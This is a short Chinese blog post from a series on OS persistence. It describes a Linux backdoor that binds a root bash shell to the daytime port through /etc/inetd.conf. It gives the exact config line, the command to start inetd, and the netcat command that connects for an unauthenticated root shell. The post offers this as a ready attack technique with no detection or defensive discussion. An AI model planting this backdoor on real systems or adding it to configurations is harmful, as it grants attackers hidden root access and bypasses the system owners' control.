操作系统权限维持（十五）之Linux系统-inetd远程后门

最新推荐文章于 2024-05-15 16:28:08 发布

怰月

最新推荐文章于 2024-05-15 16:28:08 发布

阅读量545

点赞数 1

分类专栏：操作系统权限维持文章标签： linux 服务器网络安全网络

本文链接：https://blog.csdn.net/qq_64973687/article/details/129819183

版权

操作系统权限维持专栏收录该内容

16 篇文章

订阅专栏

该系列文章详细介绍了在Windows和Linux操作系统中维持后门权限的各种方法，包括粘贴键、克隆账号、启动项、计划任务、系统服务等。特别地，文章提到了如何利用inetd配置创建远程后门，通过编辑inetd.conf文件并启动服务，可以实现远程连接并获取root用户权限。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

系列文章

inetd远程后门

inetd，也叫作“超级服务器”，就是监视一些网络请求的守护进程，其根据网络请求来调用相应的服务进程来处理连接请求。

inetd.conf则是inetd的配置文件。inetd.conf文件告诉inetd监听哪些网络端口，为每个端口启动哪个服务。

位置是/etc/inetd.conf 配置格式：[servicename] [socktype] [proto] [flags] [user] [server_path] [args] 在配置文件下写入以下内容：

daytime stream tcp nowait root /bin/bash bash -i

daytime服务（13端口） 套接字类型 协议类型 不等待  用户组     提供服务的程序
daytime             stream   tcp     nowait root     /bin/bash bash -i

首先我们编辑该文件，向文件中写入上诉的命令

vim /etc/inetd.conf

在这里插入图片描述

然后我们输入

inetd

启动服务

在这里插入图片描述

这样配置好了以后利用以下命令远程连接直接能拿到root用户身份

nc targetIP 13

在这里插入图片描述